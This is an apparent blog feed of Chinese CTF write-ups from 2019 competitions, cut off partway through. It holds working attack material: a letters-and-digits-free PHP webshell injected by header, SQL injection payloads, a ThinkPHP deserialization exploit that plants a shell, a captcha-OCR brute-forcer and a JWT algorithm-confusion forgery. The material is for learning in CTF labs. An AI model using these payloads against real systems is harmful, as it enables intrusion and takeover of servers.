Somnus's blog 2019-05-29T18:58:44.590Z https://Foxgrin.github.io/ Somnus Hexo 不含数字和字母的webshell https://Foxgrin.github.io//posts/20456/ 2019-05-29T15:31:00.000Z 2019-05-29T18:58:44.590Z 通过中南大学院赛的一道Web题学习一下如何在过滤数字和字母的情况下编写出webshell

本题来自于中南大学院赛的一道Web题,题目名字为badip

题目如下:

看起来像是道sql注入题,但是尝试了一下?id=1'

像是过滤了单引号,再尝试1%231 order by 100%23都得到id=1的结果,看起来又不像是注入题,题目名为badip,没有找到考点,只能尝试扫一扫后台

发现了文件robots.txt

访问后发现存在两个文件:include.phpphpinfo.php

访问include.php

存在lfi,那么就用伪协议读一下index.php

解码一下得源码:

在源码末尾处发现采用sql预编译,那么就不用考虑注入了,忽略这段代码,让我们把目光放在前半部分得代码:

我们可以发现,当参数id包含#|\"|'|sleep|benchmark|outfile|dumpfile|load_file|join时,后台将会把我们得客户ip记录在txt文件中,并且源码中也告诉了我们参数ip取值自$_SERVER['HTTP_CLIENT_IP'],是可以通过头部字段:client-ip进行控制,也有将记录的txt文件路径返回给我们

这时又想到前面的lfi,思路便很清晰了,我们可以通过在client-ip注入webshell,再利用lfi包含写入webshell的txt文件即可

那么唯一需要注意的地方就是对ip参数的过滤:

1
2
3
4
if(preg_match('/[a-z0-9]/is',$ip)) {
echo "you bad bad ~ ";
die;
}

不能包含数字和字母,这就想到了之前看到的p神的一篇文章:一些不包含数字和字母的webshell

编写不含数字和字母的webshell,思路总结一句话便是:利用合法字符(即非数字,字母的字符)通过各种变换,拼接出字符串assert,再利用php支持动态函数执行的特性,将字符串assert当成函数以动态执行

如果在php7中,assert是一个语言结构而不是函数,不能再作为函数名而动态执行,但是在本题中,给出了phpinfo.php文件

说明了版本为5.6,所以我们就可以毫无顾虑的构造assert

这里我采用了p神指出的第三种方法来构造assert,这就需要利用php的一个特性:

1
在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。

这个特性简单地说就是:'a'++ == 'b''b'++ == 'c',我们只需要拿到一个变量,其值为a或者A,再利用自增操作来分别得到assert或者ASSERT的各个字符,因为php函数大小写不敏感

那么如何拿到字符a或者A呢,我们知道数组Array的第一个字符便是A,而php中数组与字符连接时,数组将自动转化为字符串Array

那么构造ASSERT代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$_ = [];
$_ = "$_"; //$_ == "Array"
$_ = $_['!' == '@']; //$_ == 'A'
$__ = $_; //$__ == 'A'
$___ = $_; //$___ == 'A'
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //$__ == 'S'
$___ .= $__;
$___ .= $__; //$___ == 'ASS'
$__ = $_; //$__ == 'A'
$__++;$__++;$__++;$__++; //$__ == 'E'
$___ .= $__; //$___ == 'ASSE'
$__ = $_; //$__ == 'A'
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //$__ == 'R'
$___ .= $__; //$___ == 'ASSER'
$__ = $_; //$__ == 'A'
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //$__ == 'T'
$___ .= $__; //$___ == 'ASSERT'

同样原理构造POST

1
2
3
4
5
6
7
8
9
10
11
12
$__ = $_; //$__ == 'A'
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //$__ == 'P'
$____ = '_'.$__; //$____ == '_P'
$__ = $_; //$__ == 'A'
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //$__ == 'O'
$____ .= $__; //$____ == '_PO'
$__ = $_; //$__ == 'A'
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // $__ == 'S'
$____ .= $__; //$____ == '_POS'
$__ = $_; //$__ == 'A'
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //$__ == 'T'
$____ .= $__; //$____ == '_POST'

最后构造ASSERT($_POST[_])

1
2
$_ = $$____;
$___($_[_]);

另外我们还要考虑到标签<?php ?>的问题,如果在php配置中开启配置short_open_tag = On,则可以直接短标签<? ?>,我们在phpinfo中确认一下

配置short_open_tag开启,所以最后我们构造头部参数

1
client-ip=<? $_ = [];$_ = @"$_";$_ = $_['!' == '@'];$__ = $_;$___ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___ .= $__;$___ .= $__;$__ = $_;$__++;$__++;$__++;$__++;$___ .= $__;$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___ .= $__;$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___ .= $__;$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____ = '_';$____.=$__;$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____ .= $__;$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____ .= $__;$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____ .= $__;$_____=$$____;$___($_____[_]); ?>

再利用文件包含执行命令即可获得flag

]]>
ctf
2019强网杯Web部分题解 https://Foxgrin.github.io//posts/42551/ 2019-05-28T16:15:00.000Z 2019-05-29T04:15:43.367Z 最近到了考试月忙着复习,强网杯没时间打,只能趁着晚上熬夜偷鸡来复现了(考试月真心累…)

随便注

本题docker环境:https://github.com/CTFTraining/qwb_2019_supersqli

题目如下:

测试发现利用正则匹配过滤了关键字:selectupdatedropdeleteinsertwhere

这么狠的过滤还是第一次见到,如果正常而言真的是没有办法注入了,但是这题源码是能够支持堆叠查询

我们可以看一下php手册中对函数mysqli_multi_query的说明:

1
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。

在sql-labs 38关中也有对堆叠注入进行了特别的说明

下面我们就先利用堆叠注入看看表名,payload:http://127.0.0.1:8302/?inject=0%27;show%20tables;

表名有words1919810931114514

我们再分别看看两个表分别的结构:

1
2
http://127.0.0.1:8302/?inject=0%27;show%20columns%20from%20`words`;
http://127.0.0.1:8302/?inject=0%27;show%20columns%20from%20`1919810931114514`;

这里需要特别注意表1919810931114514时一定要通过符号进行包裹,不然会报错

所以我们可以得出该数据库下的表结构:

  • words
    • id int(10)
    • data varchar(20)
  • 1919810931114514
    • flag varchar(100)

由于flag在1919810931114514表中,那么源码查询的sql语句就为:

1
select * from `words` where id='$id';

由于过滤了select关键字,我们可以使用预编译的方法来进行sql查询,另外alterrename未被过滤,所以我们也可以通过修改表名和表的结构的方法来查询flag,所以这题有两种解题方法

预编译

预编译的语法如下:

1
2
3
4
set @sql=concat('selec','t flag from `1919810931114514`');
prepare presql from @sql;
execute presql;
deallocate prepare presql;

构造payload:

1
http://127.0.0.1:8302/?inject=0%27;set%20@sql=concat(%27selec%27,%27t%20flag%20from%20`1919810931114514`%27);prepare%20presql%20from%20@sql;execute%20presql;deallocate%20prepare%20presql;

结果显示:strstr($inject, "set") && strstr($inject, "prepare");

由于函数strstr区分大小写的,所以我们用大小写混合绕过即可

最后的payload:

1
http://127.0.0.1:8302/?inject=0%27;Set%20@sql=concat(%27selec%27,%27t%20flag%20from%20`1919810931114514`%27);Prepare%20presql%20from%20@sql;execute%20presql;deallocate%20Prepare%20presql;

修改表名和表结构

修改表名语法如下:

1
RENAME TABLE tablename1 TO tablename2;

修改表中的列语法如下:

1
ALTER TABLE tablename CHANGE column1 column2 varchar(100);

那么解题思路如下:

  • words表修改为word
  • 1919810931114514表修改为words
  • 将列flag修改为列id

根据源程序的sql语句:select * from words where id='$id';

就可以直接查询出flag了

payload如下:

1
http://127.0.0.1:8302/?inject=0%27;RENAME%20TABLE%20`words`%20TO%20`word`;RENAME%20TABLE%20`1919810931114514`%20TO%20`words`;ALTER%20TABLE%20`words`%20CHANGE%20`flag`%20`id`%20varchar(100)%20CHARACTER%20SET%20utf8%20COLLATE%20utf8_general_ci%20NOT%20NULL;show%20columns%20from%20`words`;

此时我们已经成功的将列flag修改成了id

最后用1' or '1查询出flag

高明的黑客

本题docker环境:https://github.com/CTFTraining/qwb_2019_smarthacker

下载备份源码www.tar.gz

可以发现是一堆带有疑似一句话木马的参数

但是很多参数都是不能用的,例如上图列举的某个参数已经事先赋值了,所以我们需要在众多文件中寻找出可以利用的一句话木马参数

搜索可得知文件中使用的命令函数大概有3种:evalassertsystem

编写脚本进行搜索:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import os
import requests,re

filenames = os.listdir('/var/www/html/src')
pattern = re.compile(r'\$_[GEPOST]{3,4}\[.*\]')
command = ['uname',"system('uname');"]
flag = 'Linux'

for name in filenames:
print(name)
with open('/var/www/html/src/'+name) as f:
data = f.read()
result = pattern.findall(data)
for ret in result:
try:
passwd = re.findall(r"'(.*)'",ret)[0]
if 'GET' in ret:
for com in command:
r = requests.get('http://127.0.0.1/src/'+name+'?'+passwd+'='+command)
if flag in r.text:
print("backdoor in:",name)
print("GET:",passwd)
break
elif 'POST' in ret:
for com in command:
data = {
passwd:command
}
r = requests.post('http://127.0.0.1/src/'+name,data=data)
if flag in r.text:
print("backdoor in:",name)
print("POST:",passwd)
except:pass

运行脚本后发现后门存在于xk0SzyKwfzw.php,木马参数为Efa5BVG

最后直接连上查找flag即可

upload

本题docker环境:https://github.com/CTFTraining/qwb_2019_upload

题目如下:

随意注册一个用户,登陆可以发现有上传文件功能

随便上传一个木马测试一下,发现后台对图片内容做了检测,在文件头加入GIF89A后可以上传马

上传后再次登陆用户后,可以发现页面回显出了我们上传文件的路径

访问该路径

发现我们上传的php文件是被为了png文件,因为没有找到存在文件包含的点,所以无奈只能扫描后台,看看有没有什么遗漏的提示文件

果然,发现了备份文件www.tar.gz,既然有源码那么就是考察代码审计

下载下来后,发现是一个thinkphp框架,那么就先查看一下框架下的路由信息(tp5/route/route.php)

接下来,再找应用部分(tp5/application/web/controller/Index.php)

值得关注的点是函数login_check中的变量profile取自cookie中的user属性,之后对profile进行了反序列化,那么这里就可能存在通过cookie注入进行的反序化的点

我们继续审计controller下的其他文件,看看什么可以加以利用的地方

Profile.php文件的方法upload_img中,有一个通过copy函数进行上传文件移动的操作,跟踪其中的参数$this->filename_tmp$this->filename和操作执行的条件参数$this->ext

发现都是Profile类的公有属性,都是可以通过反序列化进行控制赋值的,所以暂时的思路就是利用反序列化将我们上传的png图片马修改为php文件木马

那么,如何让Profile类执行upload_img方法呢,让我们继续审计

Profile类的末尾处,还发现了两个魔术方法:__get__call,这两个魔术方法分别代表了在调用类的不可访问成员属性不可访问方法时的处理方法。__get会从$this->except中查找不可访问的属性值,该变量也是可控的;__call会调用该类的成员变量所指代变量的所指代的方法

所以,审计到目前,思路更新如下:

  • 通过cookie注入user属性进行反序列化

  • 触发Profile类的__call魔术方法,使其执行该类的upload_img方法将png图片马修改为php文件马

那么问题又来了,我们知道要触发__call魔术方法,就必须要让Profile类调用一个该类中不存在的方法,所以我们只能继续审计,继续寻找利用点

Register.php的末尾了,我们又发现了一个魔术方法__destruct,该方法在类被销毁时自动触发。我们可以发现该方法一经触发,并且参数$this->registed为0时,就可以调用成员$this->checkerindex方法

跟踪这两个参数$this->registed$this->checker

太完美了,又是可以通过反序列化进行控制的变量

那么,最终得到思路如下:

  • 通过cookie反序列化为Register类的$checker赋值为Profile类,触发魔术方法__destructProfile类中的index方法
  • Profile类中没有index方法,触发魔术方法__call,调用Profile类中的upload_img方法
  • 将png图片马修改为php文件马

这样就形成了一条完整的攻击链

接下来就是编写EXP,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
namespace app\web\controller;
use think\Controller;
class Register
{
public $checker;
public $registed = false;
public function __construct($checker){
$this->checker = $checker;
}
}
class Profile
{ # 先上传一个图片马shell.png,保存路径为/upload/md5($_SERVER['REMOTE_ADDR'])/md5($_FILES['upload_file']['name']).".png"
public $filename_tmp = './upload/3b1412753f475cc969c37231dd6eaea2/93bc3c03503d8768cf7cc1e39ce16fcb.png';
public $filename = './upload/3b1412753f475cc969c37231dd6eaea2/shell.php';
public $ext = true;
public $except = array('index' => 'upload_img');
}
$register = new Register(new Profile());
echo urlencode(base64_encode(serialize($register)));

这里注意需要设置命名空间 app\web\controller(要不然反序列化会出错,不知道对象实例化的是哪个类)

我们将前面上传的图片马路径记下,运行EXP后得到base64加密后的序列化字符串:

1
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo0OntzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzg6Ii4vdXBsb2FkLzNiMTQxMjc1M2Y0NzVjYzk2OWMzNzIzMWRkNmVhZWEyLzkzYmMzYzAzNTAzZDg3NjhjZjdjYzFlMzljZTE2ZmNiLnBuZyI7czo4OiJmaWxlbmFtZSI7czo1MToiLi91cGxvYWQvM2IxNDEyNzUzZjQ3NWNjOTY5YzM3MjMxZGQ2ZWFlYTIvc2hlbGwucGhwIjtzOjM6ImV4dCI7YjoxO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MTA6InVwbG9hZF9pbWciO319czo4OiJyZWdpc3RlZCI7YjowO30%3D

然后重新登陆时置cookie的user属性值

然后我们此时就可以发现,此时能成功访问到shell了

再重新上传个shell拿flag就行了

最后附上代码思路整理图:

]]>
ctf
ISCC 2019 Writeup https://Foxgrin.github.io//posts/59602/ 2019-05-25T04:15:00.000Z 2019-05-25T05:14:05.776Z 这个比赛虽然总体难度不大,但是不得不感叹河南大军恐怖如斯,不准点做题拿个百血真不容易,垂直上分的大佬频繁出现,说这个比赛是一年一度的py大赛还是有点道理的(滑稽)。但是不得不说,参加这比赛还是学到蛮多套路的,脑洞大开,以及让人摸不着头的flag提交格式emmm

Web

web1

首先要求输入的valueascii码不在可见范围之内,但是最后要求value经过chr拼接后的username为’w3lc0me_To_ISCC2019’

php的chr函数会自动进行mod256,所以使用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
s = "w3lc0me_To_ISCC2019"

payload = ""

s1 = "&value[]="

for i in s:

value = ord(i) + 256

payload = payload + s1 + str(value)

print(payload)
1
payload:value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313

再来就是要绕过intval($password) < 2333 && intval($password + 1) > 2333

intval函数处理字符串时,会从头开始检测到除数字以外的字母为止

我们注意到intval($password + 1) > 2333

是先将$password + 1后再经过intval函数的处理,如果$password传入的是十六进制数,例如0x10,那么intval(‘0x10’)结果为0,intval(‘0x10’ + 1)结果为17,这个特性在7.0以上版本不适用

所以只需要把2333转换成16进制即可

payload:password=0x91d

所以最后的payload:

1
/?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=0x91d

flag:flag{8311873e241ccad54463eaa5d4efc1e9}

web2

爆破三位数字密码,有图片验证码,需要借助python的pytesseract和Image库来识别图片验证码

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests
import pytesseract
import re
from bs4 import BeautifulSoup
from PIL import Image
from io import BytesIO

image_url = "http://39.100.83.188:8002/vcode.php"
pass_url = 'http://39.100.83.188:8002/login.php'
s = requests.Session()
password = 0

def getImageCode():
while True:
print('--------------------开始识别验证码')
imageURL = image_url
image = s.get(url=imageURL)
captcha_img = Image.open(BytesIO(image.content))
imageCode = pytesseract.image_to_string(captcha_img)
print('验证码识别结果:',imageCode)
print('--------------------开始校验验证码')
match = re.search(r'^[a-z | 0-9]{4}$',imageCode)
if not match:
print('验证码:',imageCode,'校验结果识别失败,继续识别')
else:
print('验证码:',imageCode,'校验成功')
break
return imageCode

def guess(password):
while True:
passwd = ""
if len(str(password)) != 3:
count = 3 - len(str(password))
for i in range(1,count+1):
passwd = passwd + "0"
passwd = passwd + str(password)
print('--------------------------------------开始猜测密码')
imageCode = getImageCode()
data = {
'username':'admin',
'pwd':passwd,
'user_code':imageCode
}
g = s.post(url=pass_url,data=data)
g.encoding = g.apparent_encoding
if '验证码错误' in g.text:
print(g.text)
elif '密码错误' in g.text:
print('密码:',passwd,'错误')
password +=1
else :
print('密码:',passwd,'正确')
print('返回的页面结果:')
print(g.text)
break

guess(password)

但是这题听说可以删掉cookie后直接绕过验证码,密码是996

flag:flag{996_ICU}

web3

sql-labs 24关原题,考察二次注入

注入点在login_create.php中的username字段,注册用户名为admin’#

之后登录admin’#,username字段就赋值给了session中的username字段

在password_change.php中的$username是直接从session中取出的,也就是取出的username为admin’#

拼接到sql语句中:

users SET PASSWORD
1
UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass'

用户的密码就被修改为123

但是坑的地方在于这题没有设置容器,所有人共用一个数据库,可能很多人同时一起修改了admin用户的密码,所以有时候修改admin的密码后登陆不成功,并且这个数据库会定时修改所有用户的密码

所以能稳定登陆admin的方法是持续发送修改密码的包,如果admin’#用户被注册,注册admin’########也是可以的

最终登陆成功页面:

web4

考察parse_str变量覆盖

payload:http://39.100.83.188:8066/index.php?action=auth&hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b&key=1

flag{7he_rea1_f1@g_15_4ere}

web6

抓包发现是python写的网站,一开始有点慌,不过这题不是查考察python

我们登陆一个用户时抓包可以发现头部存在认证字段

1
Authorization: iscc19 eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiaGh4NjY2IiwicHJpdiI6Im90aGVyIn0.vwB2Jj8TyGQhO6i0EEw6vCIrplCxrh23ZHQ15aWeeoQkYsd5tDSu3cixf-faEfQbLkB-_-6EF4DVxGbR5zGp4MyQn90KeRooOF65xQViZ8qRUVvylU5pJBDCcs-XEE-GdD6qfARNFpdg8toggC0ld5l5OJbeAA9au00xiaCxhzs

很明显是这个网站采用了JWT身份验证,类似于Session机制,JWT的token结构是Json格式,同时将认证信息以经过加密算法处理后存储在头部的Authorization字段

根据题目页面的提示:只有admin身份才能查看flag,那么这题多半就是考察伪造admin身份的认证字段登陆

我们可以将我们注册用户的认证字段拉近JWT生成网站进行解密

解密后得到的字段正是JWT的token三个组成部分:

  • Header:
1
2
3
4
{
"alg": "RS256",
"typ": "JWT"
}

其中alg为算法的缩写,说明这串认证字符是经过RS256加密的。typ为类型的缩写

  • Payload:
1
2
3
4
{
"name": "hhx666",
"priv": "other"
}

这些是用户的信息

  • Signature:
1
2
3
4
HMACSHA256(
base64Encode(header) + "." +
base64Encode(payload),
secret)

这部分就是加密算法所使用的密钥

常见的加密算法有RS256HS256RS256是非对称加密,需要公钥和私钥才能对数据进行篡改,一般私钥我们是拿不到的,就像这题的认证字段正是经过RS256加密,而HS256则是对称加密,只需要公钥就可以进行伪造

http://39.100.83.188:8053/static/js/common.js 源码处我们可以看到public key存放目录:

1
2
3
4
5
6
function getpubkey(){
/*
get the pubkey for test
/pubkey/{md5(username+password)}
*/
}

/pubkey正是存放公钥的目录,它提示了我们公钥可以通过我们注册的用户名和密码的md5加密进行查看,我们访问http://39.100.83.188:8053/pubkey/7035124f823530ce2af7fb19bb625304 可以看到此RS256加密算法采用的公钥

1
{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----","result":true}

因为私钥无法获取到,所以这时我们就需要将算法修改为HS256,如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。

生成认证字段的脚本如下:

1
2
3
4
import jwt
import base64
public = open('1.txt', 'r').read()
print jwt.encode({"name": "iscc19","priv": "admin"}, key=public, algorithm='HS256')

说明一下1.txt中存放的公钥为:

1
2
3
4
5
6
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK
omh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h
Kk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc
IC+LX+9V/mpyKe9R3wIDAQAB
-----END PUBLIC KEY-----

需要将网页上获得的公钥中\n替换成换行,并且这里priv之前是为other,需要修改为admin身份,用户名name猜测为之前认证字段的iscc19

需要额外在python2环境下安装jwt模块:pip install PyJWT

一开始运行可能会出现下面的报错:

跟踪源库algorithms.py的源码,会发现prepare_key函数会检验非法字符,将检验过程去掉,再次运行

得到字符串:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiaXNjYzE5IiwicHJpdiI6ImFkbWluIn0.bEza2gXi7_q9qPFTSgbu8wWRpmHqHd1FFa-rJKY_38c

然后将这串字符添加到头部的Authorization字段,附加上iscc19,访问/list,即可获得admin用户的list

最后访问http://39.100.83.188:8053/text/admin:22f1e0aa7a31422ad63480aa27711277

即可获得flag

这题也是猜用户名iscc19稍微要有点脑洞的,emmm做的时候运气好直接拿这个用户名来试

参考文章:Json Web Token历险记

web5

这题也是道脑洞题,一开始页面只给了信息:看来你并不是Union.373组织成员,请勿入内!

扫描后台也没有结果,无奈只能尝试各种HTTP头部修改的方法,最后发现是在User-Agent头部字段最后添加上:Union.373

开始提示我们输入用户名和密码,通过POST方式传入参数usernamepassword后,提示我们用户密码即为flag

password字段加入单引号出现sql报错信息,很明显下面考察的是注出用户的密码

经过fuzz测试,过滤了#()extractvaluesleepandpassword等关键参数,其中最致命的还是过滤了(),导致很多函数都无法使用

使用万能密码1' or '1登陆,发现了回显了用户名信息:union_373_Tom

既然有回显,就尝试一下联合查询:

1
username=union_373_Tom&password=1' union select 1,2,3 or '

回显了2

但是这里因为过滤了括号,导致我们无法使用子查询

查阅了一波过滤了括号的注入方式https://blog.csdn.net/nzjdsds/article/details/81879181

这篇文章里提到的使用union order by的方式进行排序盲注,思路简单而言就是通过union使查询结果为union_373_Tom和我们拼接上的一行查询结果通过order by对密码password字段进行排序,并根据回显的用户名信息来判断排序的结果

下面用本地测试的过程来进行思路的说明:

这是users表中的初始数据,下面我们通过union插入我们构造的查询结果

可以看到对第三列进行了排序,并且可以根据我们插入的不同密码字段排序结果也不同,在页面上回显的用户名信息也不同:

  • union拼接的密码字段排序后比成员密码大,回显用户名:union_373_Tom
  • union拼接的密码字段排序后比成员密码小或相等,回显union拼接的用户名字段

另外因为题目password字段最后还需要闭合单引号,所以采用的是order by 3,'1,mysql会先根据逗号前面的进行排序,如果数据相等,则使用逗号后的进行排序

所以最后使用的盲注payload为:

1
username=union_373_Tom&password=1' or '1' union select 1,'hhx','1' from admin order by 3,'1

我们知道order by是对字符串一位位的比较,所以思路就是对union_373_Tom的密码字段进行逐位的排序比较,根据回显的用户名,如果插入的密码字段大于用户名密码字段,则需要

最后需要弄清楚order by排序的原理,测试了好久,排序其实是根据字符ascii码的大小,另外mysql中大小写的字符的排序是相同的,测试后的字典序列为_ZzYyXxWwVvUuTtSsRrQqPpOoNnMmLlKkJjIiHhGgFfEeDdCcBbAa9876543210

脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = "http://39.100.83.188:8054"
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36 Union.373'
}
password = ""
s = "_ZzYyXxWwVvUuTtSsRrQqPpOoNnMmLlKkJjIiHhGgFfEeDdCcBbAa9876543210 "
for i in range(1,33):
for j in s:
p = password + j
data = {
'username':'union_373_Tom',
'password':"1' or '1' union select 1,'hhx','"+p+"' from admin order by 3,'1"
}
r = requests.post(url,data=data,headers=headers)
r.encoding = r.apparent_encoding
if 'hhx' in r.text:
password = password + j
print('password:',password)
break

最后的密码为1SCC_2OI9

flag:flag{1SCC_2OI9}

Misc

隐藏的信息

8进制转16进制,16进制转字符串,最后base64解密得flag

1
2
3
4
5
6
7
8
9
10
11
12
<?php 

$s = "0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113";
$message = explode(" ", $s);
$m = "";
for($i=0;$i<count($message);$i++){
$m = $m.base_convert($message[$i],8,16);
}
$m = hex2bin($m);
echo base64_decode($m);

?>

Flag: ISCC{N0_0ne_can_st0p_y0u}

倒立屋

Stegsolve工具打开

根据倒立屋题目提示,flag就是IsCc_2019倒过来

Keyes’ secret

键盘密码,网上有现成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
STR = "RFVGYHNWSXCDEWSXCVWSXCVTGBNMJUY,WSXZAQWDVFRQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFTGBNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVT,QWERTYTRFVBGRDXCVBNBVCXSWERFTYUIOJMTGBNMJUMNBVCDRTGHUWSXCDEQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYTRFVGWSXCVGRDXCVBCVGREDQWERTY(TRFVBTYUIOJMTRFVG),QWERTYGRDXCVBQWERTYTYUIOJMEFVTNBVCXSWERFWSXCDEQWERTYTGBNMJUYTRFVGQWERTYTRFVBMNBVCDRTGHUEFVTNBVCXSWERFTYUIOJMTGBNMJUYIUYHNBVNBVCXSWERFTGBNMJUYMNBVCDRTGHUTYUIOJM,QWERTYWSXIUYHNBVQWERTYGRDXCVBQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFTGBNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVTQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFWSXCDETYUIOJMWSXTYUIOJMWSXTGBNMJUYZAQWDVFR.QWERTYTRFVBTYUIOJMTRFVGQWERTYTRFVBTGBNMJUYZAQWDVFRTYUIOJMWSXCDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYTGBNMJUIUYHNBVTGBNMJUGRDXCVBWSXCVWSXCVEFVTQWERTYWSXCFEWSXCDEIUYHNBVWSXCVGREDZAQWDVFRWSXCDEWSXCFEQWERTYTYUIOJMTGBNMJUYQWERTYIUYHNBVWSXCDEMNBVCDRTGHUEFVGYWSXCDEQWERTYGRDXCVBIUYHNBVQWERTYGRDXCVBZAQWDVFRQWERTYWSXCDEWSXCFETGBNMJUTRFVBGRDXCVBTYUIOJMWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYWSXCDERGNYGCWSXCDEMNBVCDRTGHUTRFVBWSXIUYHNBVWSXCDEQWERTYTYUIOJMTGBNMJUYQWERTYCVGREDWSXEFVGYWSXCDEQWERTYNBVCXSWERFGRDXCVBMNBVCDRTGHUTYUIOJMWSXTRFVBWSXNBVCXSWERFGRDXCVBZAQWDVFRTYUIOJMIUYHNBVQWERTYWSXCDERGNYGCNBVCXSWERFWSXCDEMNBVCDRTGHUWSXWSXCDEZAQWDVFRTRFVBWSXCDEQWERTYWSXZAQWDVFRQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXZAQWDVFRCVGREDQWERTYGRD